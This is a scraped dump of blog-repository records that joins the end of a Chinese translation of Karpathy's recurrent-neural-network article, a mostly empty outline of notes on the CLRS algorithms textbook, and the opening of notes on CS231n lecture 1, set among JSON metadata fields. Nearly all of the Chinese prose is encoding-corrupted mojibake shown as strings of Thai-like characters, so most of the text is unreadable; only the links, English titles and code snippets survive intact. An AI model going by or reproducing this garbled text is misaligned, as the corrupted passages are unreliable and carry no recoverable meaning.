‡ๆณจ](https://arxiv.org/abs/1505.00487)ๅ’Œๆœ€่ฟ‘็š„[่ง†่ง‰้—ฎ็ญ”](https://arxiv.org/abs/1505.02074)ใ€‚ๅœจ่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸ๏ผŒๆˆ‘ไธชไบบๆœ€ๅ–œๆฌข็š„RNN่ฎบๆ–‡ๆ˜ฏใ€Š[Recurrent Models of Visual Attention](https://arxiv.org/abs/1406.6247)ใ€‹๏ผŒไน‹ๆ‰€ไปฅๆŽจ่ๅฎƒ๏ผŒๆ˜ฏๅ› ไธบๅฎƒ้ซ˜ๅฑ‚ไธŠ็š„ๆŒ‡ๅฏผๆ–นๅ‘ๅ’Œๅบ•ๅฑ‚็š„ๅปบๆจกๆ–นๆณ•๏ผˆๅฏนๅ›พๅƒ็Ÿญๆ—ถ้—ด่ง‚ๅฏŸๅŽ็š„ๅบๅˆ—ๅŒ–ๅค„็†๏ผ‰๏ผŒๅ’Œๅปบๆจก้šพๅบฆไฝŽ๏ผˆREINFORCE็ฎ—ๆณ•่ง„ๅˆ™ๆ˜ฏๅขžๅผบๅญฆไน ้‡Œ้ข็ญ–็•ฅๆขฏๅบฆๆ–นๆณ•ไธญ็š„ไธ€ไธช็‰นไพ‹๏ผŒไฝฟๅพ—่ƒฝๅคŸ็”จ้žๅพฎๅˆ†็š„่ฎก็ฎ—ๆฅ่ฎญ็ปƒๆจกๅž‹๏ผˆๅœจ่ฏฅๆ–‡ไธญๆ˜ฏๅฏนๅ›พๅƒๅ››ๅ‘จ่ฟ›่กŒๅฟซ้€ŸๆŸฅ็œ‹๏ผ‰๏ผ‰ใ€‚ๆˆ‘็›ธไฟก่ฟ™็ง็”จCNNๅšๅŽŸๅง‹ๆ•ฐๆฎๆ„Ÿ็Ÿฅ๏ผŒRNNๅœจ้กถๅฑ‚ๅšๅฟซ้€Ÿ่ง‚ๅฏŸ็ญ–็•ฅ็š„ๆททๅˆๆจกๅž‹ๅฐ†ไผšๅœจๆ„Ÿ็Ÿฅ้ข†ๅŸŸๅ˜ๅพ—่ถŠๆฅ่ถŠๆต่กŒ๏ผŒๅฐคๅ…ถๆ˜ฏๅœจ้‚ฃไบ›ไธๅ•ๅ•ๆ˜ฏๅฏน็‰ฉไฝ“็ฎ€ๅ•ๅˆ†็ฑป็š„ๅคๆ‚ไปปๅŠกไธญๅฐ†ๆ›ดๅŠ ๅนฟๆณ›่ฟ็”จใ€‚\n\nๅฝ’็บณๆŽจ็†๏ผŒ่ฎฐๅฟ†ๅ’Œๆณจๆ„ๅŠ›๏ผˆInductive Reasoning, Memories and Attention๏ผ‰ใ€‚ๅฆไธ€ไธชไปคไบบๆฟ€ๅŠจ็š„็ ”็ฉถๆ–นๅ‘ๆ˜ฏ่ฆ่งฃๅ†ณๆ™ฎ้€šๅพช็Žฏ็ฝ‘็ปœ่‡ช่บซ็š„ๅฑ€้™ใ€‚RNN็š„ไธ€ไธช้—ฎ้ข˜ๆ˜ฏๅฎƒไธๅ…ทๆœ‰ๅฝ’็บณๆ€ง๏ผšๅฎƒ่ƒฝๅคŸๅพˆๅฅฝๅœฐ่ฎฐๅฟ†ๅบๅˆ—๏ผŒไฝ†ๆ˜ฏไปŽๅ…ถ่กจ็ŽฐไธŠๆฅ็œ‹๏ผŒๅฎƒไธ่ƒฝๅพˆๅฅฝๅœฐๅœจๆญฃ็กฎ็š„ๆ–นๅ‘ไธŠๅฏนๅ…ถ่ฟ›่กŒๅฝ’็บณ๏ผˆไธ€ไผšๅ„ฟไผšไธพไพ‹่ฎฉ่ฟ™ไธชๆ›ดๅŠ ๅ…ทไฝ“ไธ€ไบ›๏ผ‰ใ€‚ๅฆไธ€ไธช้—ฎ้ข˜ๆ˜ฏRNNๅœจ่ฟ็ฎ—็š„ๆฏไธ€ๆญฅ้ƒฝๅฐ†่กจ่พพๆ•ฐๆฎ็š„ๅฐบๅฏธๅ’Œ่ฎก็ฎ—้‡่”็ณป่ตทๆฅ๏ผŒ่€Œ่ฟ™ๅนถ้žๅฟ…่ฆใ€‚ๆฏ”ๅฆ‚๏ผŒๅ‡่ฎพๅฐ†้š่—็Šถๆ€ๅ‘้‡ๅฐบๅฏธๆ‰ฉๅคงไธบ2ๅ€๏ผŒ้‚ฃไนˆ็”ฑไบŽ็Ÿฉ้˜ตไน˜ๆณ•ๆ“ไฝœ๏ผŒๅœจๆฏไธ€ๆญฅ็š„ๆตฎ็‚น่ฟ็ฎ—้‡ๅฐฑ่ฆๅ˜ๆˆ4ๅ€ใ€‚็†ๆƒณ็Šถๆ€ไธ‹๏ผŒๆˆ‘ไปฌๅธŒๆœ›ไฟๆŒๅคง้‡็š„่กจ่พพๅ’Œ่ฎฐๅฟ†๏ผˆๆฏ”ๅฆ‚ๅญ˜ๅ‚จๅ…จ้ƒจ็ปดๅŸบ็™พ็ง‘ๆˆ–่€…ๅพˆๅคšไธญ้—ดๅ˜้‡๏ผ‰๏ผŒไฝ†ๅŒๆ—ถๆฏไธ€ๆญฅ็š„่ฟ็ฎ—้‡ไธๅ˜ใ€‚\n\nๅœจ่ฏฅๆ–นๅ‘ไธŠ็ฌฌไธ€ไธชๅ…ทๆœ‰่ฏดๆœๅŠ›็š„ไพ‹ๅญๆฅ่‡ชไบŽDeepMind็š„[็ฅž็ปๅ›พ็ตๆœบ๏ผˆNeural Turing Machines๏ผ‰](https://arxiv.org/abs/1410.5401)่ฎบๆ–‡ใ€‚่ฏฅ่ฎบๆ–‡ๅฑ•็คบไบ†ไธ€ๆก่ทฏๅพ„๏ผšๆจกๅž‹ๅฏไปฅๅœจๅทจๅคง็š„ๅค–้ƒจๅญ˜ๅ‚จๆ•ฐ็ป„ๅ’Œ่พƒๅฐ็š„ๅญ˜ๅ‚จๅฏ„ๅญ˜ๅ™จ้›†๏ผˆๅฐ†ๅ…ถ็œ‹ๅšๅทฅไฝœ็š„ๅญ˜ๅ‚จๅ™จ๏ผ‰ไน‹้—ด่ฟ›่กŒ่ฏปๅ†™ๆ“ไฝœ๏ผŒ่€Œ่ฟ็ฎ—ๆ˜ฏๅœจๅญ˜ๅ‚จๅฏ„ๅญ˜ๅ™จ้›†ไธญ่ฟ›่กŒใ€‚ๆ›ดๅ…ณ้”ฎ็š„ไธ€็‚นๆ˜ฏ๏ผŒ็ฅž็ปๅ›พ็ตๆœบ่ฎบๆ–‡ๆๅ‡บไบ†ไธ€ไธช้žๅธธๆœ‰ๆ„ๆ€็š„ๅญ˜ๅ‚จ่งฃๅ†ณๆœบๅˆถ๏ผŒ่ฏฅๆœบๅˆถๆ˜ฏ้€š่ฟ‡ไธ€ไธช๏ผˆsoftๅ’Œๅ…จ้ƒจๅฏๅพฎๅˆ†็š„๏ผ‰ๆณจๆ„ๅŠ›ๆจกๅž‹ๆฅๅฎž็Žฐ็š„ใ€‚*่ฏ‘่€…ๆณจ๏ผš่ฟ™้‡Œ็š„softๅ–่‡ชsoftmax*ใ€‚ๅŸบไบŽๆฆ‚็Ž‡็š„โ€œ่ฝฏโ€ๆณจๆ„ๅŠ›ๆœบๅˆถ๏ผˆsoft attention๏ผ‰ๆ˜ฏไธ€ไธชๅผบๆœ‰ๅŠ›็š„ๅปบๆจก็‰นๆ€ง๏ผŒๅทฒ็ปๅœจ้ขๅ‘ๆœบๅ™จ็ฟป่ฏ‘็š„ใ€Š[ Neural Machine Translation by Jointly Learning to Align and Translate](https://arxiv.org/abs/1409.0473)ใ€‹ไธ€ๆ–‡ๅ’Œ้ขๅ‘้—ฎ็ญ”็š„ใ€Š[Memory Networks](https://arxiv.org/abs/1503.08895)ใ€‹ไธญๅพ—ไปฅๅบ”็”จใ€‚ๅฎž้™…ไธŠ๏ผŒๆˆ‘ๆƒณ่ฏด็š„ๆ˜ฏ๏ผš\n\n> ๆณจๆ„ๅŠ›ๆฆ‚ๅฟตๆ˜ฏ่ฟ‘ๆœŸ็ฅž็ป็ฝ‘็ปœ้ข†ๅŸŸไธญๆœ€ๆœ‰ๆ„ๆ€็š„ๅˆ›ๆ–ฐใ€‚\n\n็Žฐๅœจๆˆ‘ไธๆƒณๆ›ดๅคšๅœฐไป‹็ป็ป†่Š‚๏ผŒไฝ†ๆ˜ฏ่ฝฏๆณจๆ„ๅŠ›ๆœบๅˆถๅญ˜ๅ‚จๅ™จๅฏปๅ€ๆ˜ฏ้žๅธธๆ–นไพฟ็š„๏ผŒๅ› ไธบๅฎƒ่ฎฉๆจกๅž‹ๆ˜ฏๅฎŒๅ…จๅฏๅพฎ็š„ใ€‚ไธๅฅฝ็š„ไธ€็‚นๅฐฑๆ˜ฏ็‰บ็‰ฒไบ†ๆ•ˆ็Ž‡๏ผŒๅ› ไธบๆฏไธ€ไธชๅฏไปฅๅ…ณๆณจ็š„ๅœฐๆ–น้ƒฝ่ขซๅ…ณๆณจไบ†๏ผˆ่™ฝ็„ถๆ˜ฏโ€œ่ฝฏโ€ๅผ็š„๏ผ‰ใ€‚ๆƒณ่ฑกไธ€ไธชCๆŒ‡้’ˆๅนถไธๆŒ‡ๅ‘ไธ€ไธช็‰นๅฎš็š„ๅœฐๅ€๏ผŒ่€Œๆ˜ฏๅฏนๅ†…ๅญ˜ไธญๆ‰€ๆœ‰็š„ๅœฐๅ€ๅฎšไน‰ไธ€ไธชๅˆ†ๅธƒ๏ผŒ็„ถๅŽ้—ดๆŽฅๅผ•็”จๆŒ‡้’ˆ๏ผŒ่ฟ”ๅ›žไธ€ไธชไธŽๆŒ‡ๅ‘ๅ†…ๅฎน็š„ๆƒ้‡ๅ’Œ๏ผˆ่ฟ™ๅฐ†้žๅธธ่€—่ดน่ฎก็ฎ—่ต„ๆบ๏ผ‰ใ€‚่ฟ™่ฎฉๅพˆๅคš็ ”็ฉถ่€…้ƒฝไปŽ่ฝฏๆณจๆ„ๅŠ›ๆจกๅผ่ฝฌๅ‘็กฌๆณจๆ„ๅŠ›ๆจกๅผ๏ผŒ่€Œ็กฌๆณจๆ„ๅŠ›ๆจกๅผๆ˜ฏๆŒ‡ๅฏนๆŸไธ€ไธชๅŒบๅŸŸๅ†…็š„ๅ†…ๅฎนๅ›บๅฎšๅ…ณๆณจ๏ผˆๆฏ”ๅฆ‚๏ผŒๅฏนๆŸไบ›ๅ•ๅ…ƒ่ฟ›่กŒ่ฏปๅ†™ๆ“ไฝœ่€Œไธๆ˜ฏๆ‰€ๆœ‰ๅ•ๅ…ƒ่ฟ›่กŒ่ฏปๅ†™ๆ“ไฝœ๏ผ‰ใ€‚่ฟ™ไธชๆจกๅž‹ไปŽ่ฎพ่ฎกๅ“ฒๅญฆไธŠๆฅ่ฏด่‚ฏๅฎšๆ›ดๆœ‰ๅธๅผ•ๅŠ›๏ผŒๅฏๆ‰ฉๅฑ•ไธ”้ซ˜ๆ•ˆ๏ผŒไฝ†ไธๅนธ็š„ๆ˜ฏๆจกๅž‹ๅฐฑไธๆ˜ฏๅฏๅพฎๅˆ†็š„ไบ†ใ€‚่ฟ™ๅฐฑๅฏผ่‡ดไบ†ๅฏนไบŽๅขžๅผบๅญฆไน ้ข†ๅŸŸๆŠ€ๆœฏ็š„ๅผ•ๅ…ฅ๏ผˆๆฏ”ๅฆ‚REINFORCE็ฎ—ๆณ•๏ผ‰๏ผŒๅ› ไธบๅขžๅผบๅญฆไน ้ข†ๅŸŸไธญ็š„็ ”็ฉถ่€…ไปฌ้žๅธธ็†Ÿๆ‚‰ไธๅฏๅพฎไบคไบ’็š„ๆฆ‚ๅฟตใ€‚่ฟ™้กนๅทฅไฝœ็Žฐๅœจ่ฟ˜ๅœจ่ฟ›ๅฑ•ไธญ๏ผŒไฝ†ๆ˜ฏ็กฌๆณจๆ„ๅŠ›ๆจกๅž‹ๅทฒ็ป่ขซๅ‘ๅฑ•ๅ‡บๆฅไบ†๏ผŒๅœจใ€Š[ Inferring Algorithmic Patterns with Stack-Augmented Recurrent Nets](https://arxiv.org/abs/1503.01007)ใ€‹๏ผŒใ€Š[ Reinforcement Learning Neural Turing Machines](https://arxiv.org/abs/1505.00521)ใ€‹๏ผŒใ€Š[Show Attend and Tell](https://arxiv.org/abs/1502.03044)ใ€‹ไธ‰็ฏ‡ๆ–‡็ซ ไธญๅ‡ๆœ‰ไป‹็ปใ€‚\n\n็ ”็ฉถ่€…ใ€‚ๅฆ‚ๆžœไฝ ๆƒณๅœจRNNๆ–น้ข็ปง็ปญ็ ”็ฉถ๏ผŒๆˆ‘ๆŽจ่[Alex Graves](http://www.cs.toronto.edu/~graves/)๏ผŒ[Ilya Sutskever](http://www.cs.toronto.edu/~ilya/)ๅ’Œ[Tomas Mikolov](http://www.rnnlm.org)ไธ‰ไฝ็ ”็ฉถ่€…ใ€‚ๆƒณ่ฆ็Ÿฅ้“ๆ›ดๅคšๅขžๅผบๅญฆไน ๅ’Œ็ญ–็•ฅๆขฏๅบฆๆ–นๆณ•๏ผˆREINFORCE็ฎ—ๆณ•ๆ˜ฏๅ…ถไธญไธ€ไธช็‰นไพ‹๏ผ‰๏ผŒๅฏไปฅๅญฆไน [David Silver็š„่ฏพ็จ‹](http://www0.cs.ucl.ac.uk/staff/d.silver/web/Home.html)๏ผŒๆˆ–[Pieter Abbeel็š„่ฏพ็จ‹](http://www.cs.berkeley.edu/~pabbeel/)ใ€‚\n\nไปฃ็ ใ€‚ๅฆ‚ๆžœไฝ ๆƒณ่ฆ็ปง็ปญ่ฎญ็ปƒRNN๏ผŒๆˆ‘ๅฌ่ฏดTheanoไธŠ็š„[keras](https://github.com/fchollet/keras)ๆˆ–[passage](https://github.com/IndicoDataSolutions/Passage)่ฟ˜ไธ้”™ใ€‚ๆˆ‘ไฝฟ็”จTorchๅ†™ไบ†ไธ€ไธช[้กน็›ฎ](https://github.com/karpathy/char-rnn)๏ผŒไนŸ็”จnumpyๅฎž็Žฐไบ†ไธ€ไธชๅฏไปฅๅ‰ๅ‘ๅ’ŒๅŽๅ‘ไผ ๆ’ญ็š„LSTMใ€‚ไฝ ่ฟ˜ๅฏไปฅๅœจGithubไธŠ็œ‹็œ‹ๆˆ‘็š„[NeuralTalk](https://github.com/karpathy/neuraltalk)้กน็›ฎ๏ผŒๆ˜ฏ็”จRNN/LSTMๆฅ่ฟ›่กŒๅ›พๅƒๆ ‡ๆณจใ€‚ๆˆ–่€…็œ‹็œ‹Jeff Donahue็”จ[Caffe](http://jeffdonahue.com/lrcn/)ๅฎž็Žฐ็š„้กน็›ฎใ€‚\n\n\n\n## ็ป“่ฎบ\n\nๆˆ‘ไปฌๅทฒ็ปๅญฆไน ไบ†RNN๏ผŒ็Ÿฅ้“ไบ†ๅฎƒๅฆ‚ไฝ•ๅทฅไฝœ๏ผŒไปฅๅŠไธบไป€ไนˆๅฎƒๅฆ‚ๆญค้‡่ฆใ€‚ๆˆ‘ไปฌ่ฟ˜ๅˆฉ็”จไธๅŒ็š„ๆ•ฐๆฎ้›†ๅฐ†RNN่ฎญ็ปƒๆˆๅญ—ๆฏ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹๏ผŒ่ง‚ๅฏŸไบ†ๅฎƒๆ˜ฏๅฆ‚ไฝ•่ฟ›่กŒ่ฟ™ไธช่ฟ‡็จ‹็š„ใ€‚ๅฏไปฅ้ข„่ง๏ผŒๅœจๆœชๆฅๅฐ†ไผšๅ‡บ็ŽฐๅฏนRNN็š„ๅทจๅคงๅˆ›ๆ–ฐ๏ผŒๆˆ‘ไธชไบบ่ฎคไธบๅฎƒไปฌๅฐ†ๆˆไธบๆ™บ่ƒฝ็ณป็ปŸ็š„ๅ…ณ้”ฎ็ป„ๆˆ้ƒจๅˆ†ใ€‚\n\nๆœ€ๅŽ๏ผŒไธบไบ†็ป™ๆ–‡็ซ ๅขžๆทปไธ€็‚นๆ ผ่ฐƒ๏ผŒๆˆ‘ไฝฟ็”จๆœฌ็ฏ‡ๅšๆ–‡ๅฏนRNN่ฟ›่กŒไบ†่ฎญ็ปƒใ€‚็„ถ่€Œ็”ฑไบŽๅšๆ–‡็š„้•ฟๅบฆๅพˆ็Ÿญ๏ผŒไธ่ถณไปฅๅพˆๅฅฝๅœฐ่ฎญ็ปƒRNNใ€‚ไฝ†ๆ˜ฏ่ฟ”ๅ›ž็š„ไธ€ๆฎตๆ–‡ๆœฌๅฆ‚ไธ‹๏ผˆไฝฟ็”จไฝŽ็š„ๆธฉๅบฆ่ฎพ็ฝฎๆฅ่ฟ”ๅ›žๆ›ดๅ…ธๅž‹็š„ๆ ทๆœฌ๏ผ‰๏ผš\n\n```text\nI've the RNN with and works, but the computed with program of the \nRNN with and the computed of the RNN with with and the code\n```\n\nๆ˜ฏ็š„๏ผŒ่ฟ™็ฏ‡ๅšๆ–‡ๅฐฑๆ˜ฏ่ฎฒRNNๅ’Œๅฎƒๅฆ‚ไฝ•ๅทฅไฝœ็š„๏ผŒๆ‰€ไปฅๆ˜พ็„ถๆจกๅž‹ๆ˜ฏๆœ‰็”จ็š„๏ผš๏ผ‰ไธ‹ๆฌก่ง๏ผ\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./The Unreasonable Effectiveness of Recurrent Neural Networks.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6234718561172485, "alphanum_fraction": 0.6446617841720581, "avg_line_length": 10.44859790802002, "blob_id": "d381cbb339e255a909333d27e173b2aa013d08fd", "content_id": "aed429cb79f0591b73172b0d9b9b249d0f808e1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1613, "license_type": "no_license", "max_line_length": 394, "num_lines": 107, "path": "/blog/books/CLRS.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Introduction to Algorithms\ndate: 2018-09-06\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n\n\n# Introduction to Algorithms\n\n\n\n[TOC]\n\n> **Memo to myself**\n>\n> - ๅ…ˆๅฟซ้€Ÿ็š„้˜…่ฏปใ€Š็ฎ—ๆณ•ๅฏผ่ฎบใ€‹ๅ’ŒๅšๅฅฝไนฆไธŠๆ ‡่ฎฐ๏ผŒPython ๅฎž็Žฐๆ‰€ๆœ‰็š„ไผชไปฃ็ ๏ผŒๅŒๆ—ถ่†ๅฌ*็ฎ—ๆณ•ๆ—ถ็ฉบ*็š„่ง†้ข‘่ฎฒ่งฃใ€‚๏ผˆ็›ฎๆต‹ไธคไธชๆœˆๅฏไปฅๅฎž็Žฐ๏ผ‰\n> - ไบŒๅˆทๆ—ถ่ฆ้‡่ฏปๆญคไนฆ๏ผŒๅนถๅผ€ๅง‹ๅฎŒๆˆไนฆไธŠไน ้ข˜ใ€‚\n\n---\n\n## ็ฌฌไธ€้ƒจๅˆ† ๅŸบ็ก€็Ÿฅ่ฏ†\n\n### [็ฌฌ1็ซ  ็ฎ—ๆณ•ๅœจ่ฎก็ฎ—ไธญ็š„ไฝœ็”จ](./CLRS_1.html)\n\n### [็ฌฌ2็ซ  ็ฎ—ๆณ•ๅŸบ็ก€](./CLRS_2.html)\n\n###็ฌฌ3็ซ  ๅ‡ฝๆ•ฐ็š„ๅขž้•ฟ\n\n\n\n## ็ฌฌไบŒ้ƒจๅˆ† ๆŽ’ๅบๅ’Œ้กบๅบ็ปŸ่ฎก้‡\n\n\n\n\n\n## ็ฌฌไธ‰้ƒจๅˆ† ๆ•ฐๆฎ็ป“ๆž„\n\n\n\n\n\n\n\n## ็ฌฌๅ››้ƒจๅˆ† ้ซ˜็บง่ฎพ่ฎกๅ’Œๅˆ†ๆžๆŠ€ๆœฏ\n\n\n\n\n\n\n\n## ็ฌฌไบ”้ƒจๅˆ† ้ซ˜็บงๆ•ฐๆฎ็ป“ๆž„\n\n\n\n\n\n\n\n## ็ฌฌๅ…ญ้ƒจๅˆ† ๅ›พ็ฎ—ๆณ•\n\n\n\n\n\n## ็ฌฌไธƒ้ƒจๅˆ† ็ฎ—ๆณ•้—ฎ้ข˜้€‰็ผ–\n\n\n\n\n\n\n\n## ็ฌฌๅ…ซ้ƒจๅˆ† ้™„ๅฝ•๏ผšๆ•ฐๅญฆๅŸบ็ก€็Ÿฅ่ฏ†\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CLRS.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6982650756835938, "alphanum_fraction": 0.7738329172134399, "avg_line_length": 58.1693115234375, "blob_id": "84192a8fe85a897548f53bf00e29a9975f0cf4ee", "content_id": "5b144c7e0e7d219dfa66503e3993ff5df2642d74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15900, "license_type": "no_license", "max_line_length": 871, "num_lines": 189, "path": "/blog/cs231n/cs231n_1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.1\ndate: 2018-08-17\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).ใ€\n\n\n\n# Lecture 1. Computer vision overview & Historical context\n\n \n\n้ฆ–ๅ…ˆ๏ผŒๆˆ‘ไปฌ้’ˆๅฏน CS231n ่ฟ™ไธช่ฏพ็จ‹๏ผŒๆˆ‘ไปฌๅ…ˆๅ›ž็ญ”ไธ‹้ขไธ€ไธช้—ฎ้ข˜๏ผš\n\n## 1.1 What is Computer Vision?\n\n> ๆœ‰่ฟ™ๆ ท็š„ไธ€ไธชไบ‹ๅฎž๏ผšๅˆฐ2017ๅนด๏ผŒไบ’่”็ฝ‘ไธŠๅคง็บฆ80%็š„ๆต้‡้ƒฝๆ˜ฏ่ง†้ข‘๏ผˆCISCO๏ผ‰ใ€‚\tๅฏ่งๅˆฉ็”จ็ฎ—ๆณ•ๆˆ–ๆจกๅž‹ๅŽปๅผ€ๅ‘ๅ’Œ็†่งฃ่ฟ™ไบ›่ง†่ง‰ๆ•ฐๆฎๆ˜ฏๅพˆๆœ‰ๅฟ…่ฆ็š„ใ€‚็„ถ่€Œ๏ผŒ่ง†่ง‰ๆ•ฐๆฎๅญ˜ๅœจ็€้—ฎ้ข˜๏ผŒ้‚ฃๅฐฑๆ˜ฏๅ…ถๅพˆไธๅฎนๆ˜“่ขซ็†่งฃใ€‚่ฎฒๅธˆๆŠŠ่ง†่ง‰ๆ•ฐๆฎๆฏ”ไฝœไบ†็‰ฉ็†ๅญฆไธญ็š„โ€œๆš—็‰ฉ่ดจโ€๏ผŒๆ˜ฏๅ› ไธบๅ…ถๅ ๆฎไบ†ๅฎ‡ๅฎ™ไธญ็š„ๅพˆๅคงไธ€้ƒจๅˆ†๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌไธ่ƒฝ็›ดๆŽฅ่ง‚ๆต‹ๅฎƒไปฌ๏ผŒๅŽปๆŽข็Ÿฅๅ’Œ็†่งฃๅฎƒไปฌใ€‚ \n\n> ๅˆไธ€ไธชไบ‹ๅฎžๆฅ่‡ช YouTube๏ผšๅคงๆฆ‚ๆฏ็ง’้’Ÿๅฐฑไผšๆœ‰้•ฟ่พพ5ๅฐๆ—ถ็š„ๅ†…ๅฎนไผš่ขซไธŠไผ ๅˆฐ YouTube ไธŠใ€‚ๆ˜พ็„ถ๏ผŒ่‹ฅ็ป™่ฟ™ไบ›่ง†้ข‘ๅšๆ ‡็ญพ๏ผŒๅˆ†็ฑป๏ผŒๅ‘ๆ”พๅนฟๅ‘Š็ญ‰ๅค„็†๏ผŒYouTube ็š„ๅ‘˜ๅทฅไบบๆ‰‹ไธๅคŸ็š„ใ€‚\n\n- ่ฎก็ฎ—ๆœบ่ง†่ง‰ๆ˜ฏไธ€ไธช**่ทจๅญฆ็ง‘**็š„้ข†ๅŸŸ๏ผš\n\n ่ฏท่‡ช่กŒไปŽไธ‹ๅ›พไธญไฝ“ไผšไธ€ไบŒใ€‚ใ€‚ใ€‚ใ€‚\n\n![](https://i.loli.net/2018/05/04/5aec356511d0c.png)\n\n- ๆ‰ฉๅฑ•ๆๆ–™๏ผš\n\n [็ปดๅŸบ็™พ็ง‘๏ผš่ฎก็ฎ—ๆœบ่ง†่ง‰](https://zh.wikipedia.org/wiki/่ฎก็ฎ—ๆœบ่ง†่ง‰)\n\n [Wikipedia๏ผšComputer_vision](https://en.wikipedia.org/wiki/Computer_vision)\n\n [What is Computer Vision?](https://hayo.io/computer-vision/)\n\n\n\n## 1.2 A brief history of computer vision\n\n่ง†่ง‰็š„ๅŽ†ๅฒๅฏไปฅ่ฟฝๆบฏๅˆฐๅคง็บฆ5ไบฟ4ๅƒ3็™พไธ‡ๅนดๅ‰ใ€‚็ฎ€ๅ•่ฏด๏ผŒ้‚ฃไธชๆ—ถๅ€™็š„็”Ÿ็‰ฉๅฐฑไธ€ไธชๅญ—๏ผšlow๏ผ่ฟž็œผ็›้ƒฝๆฒกๆœ‰๏ผไฝ†ๆ˜ฏๅๅๆœ‰้‚ฃไนˆ็Ÿญ็Ÿญ็š„ไธ€ๅƒไธ‡ๅนด้—ด๏ผˆzoologists ่ฏด็š„๏ผŒๅˆซๆ‰พๆˆ‘ใ€‚ใ€‚ใ€‚๏ผ‰๏ผŒ็‰ฉ็งๆŒ‡ๆ•ฐ็บง็ˆ†็‚ธๅขž้•ฟ๏ผไธบๅ•ฅๅ‘ข๏ผŸ๏ผŸไธ€ไธชๅธ…ๅ“ฅ็ป™ๅ‡บไบ†ไธ€ไธชๅพˆๆœ‰่ฏดๆœๅŠ›็š„็†่ฎบ๏ผšๅ› ไธบๆœ‰็œผ็›ไบ†ๅ•Š๏ผไฝ ่ฏด็ฅžๅฅ‡ไธ็ฅžๅฅ‡๏ผ\n\n็Žฐๅœจ๏ผŒๅฏไปฅ่ฏด**ๆœ‰ๆ™บๆ…ง**็š„็”Ÿ็‰ฉ้ƒฝๆ˜ฏๆœ‰่ง†่ง‰ๆ„Ÿ็Ÿฅ็š„๏ผˆๆฏซไธ่ฐฆ่™š็š„ๆš—็คบไบ†ๆˆ‘ไปฌไบบ็ฑป่‡ชๅทฑๅ“ˆ~๏ผ‰ใ€‚ไบบ่„‘็šฎๅฑ‚้‡Œๆฎ่ฏดๆœ‰ไธ€ๅŠ็š„็ฅž็ปๅ…ƒ้ƒฝๆ˜ฏๅ’Œ่ง†่ง‰ๆœ‰ๅ…ณๅ‘ข๏ผ่ฐๆ•ข่ฏด่ง†่ง‰ไธ้‡่ฆๅ•Š๏ผŸ\n\nๆ‰ฏๅฎŒไบ†็”Ÿ็‰ฉ็š„่ง†่ง‰๏ผŒ้‚ฃๆœบๅ™จ็š„่ง†่ง‰็ฎ—ไป€ไนˆ้ฌผๅ‘ข๏ผŸไธๅฅฝๆ„ๆ€๏ผŒๆˆ‘ไปฌ็ปง็ปญ้ฃžๅˆฐๆœ€ๅŽŸๅง‹็š„็†่งฃไธบๅฅฝ๏ผŒๆฅ่Š่Šๆœ€ๆ—ฉ็š„\"ๆœบๅ™จ่ง†่ง‰\"โ€”โ€”็›ธๆœบใ€‚ๆœ€ๆ—ฉ็š„็›ธๆœบไนƒๆ˜ฏ17ไธ–็บชๆ–‡่‰บๅคๅ…ดๆ—ถๆœŸ็š„ไธ€็งๆš—็ฎฑ๏ผˆๅˆฉ็”จๅฐๅญ”ๆˆๅƒๅŽŸ็†๏ผ‰ใ€‚ๅ…ถๅฎž่ฟ™ไธชๅŽŸ็†ๅ’Œๆˆ‘ไปฌ็”Ÿ็‰ฉ็š„็œผ็›ๆฒกๆœ‰ๆœฌ่ดจ็š„ๅŒบๅˆซ๏ผŒๅฝ“็„ถไนŸๅŒ…ๆ‹ฌๆˆ‘ไปฌ็Žฐไปฃๅˆฐๅค„ๅฏ่ง็š„ๆ‰‹ๆœ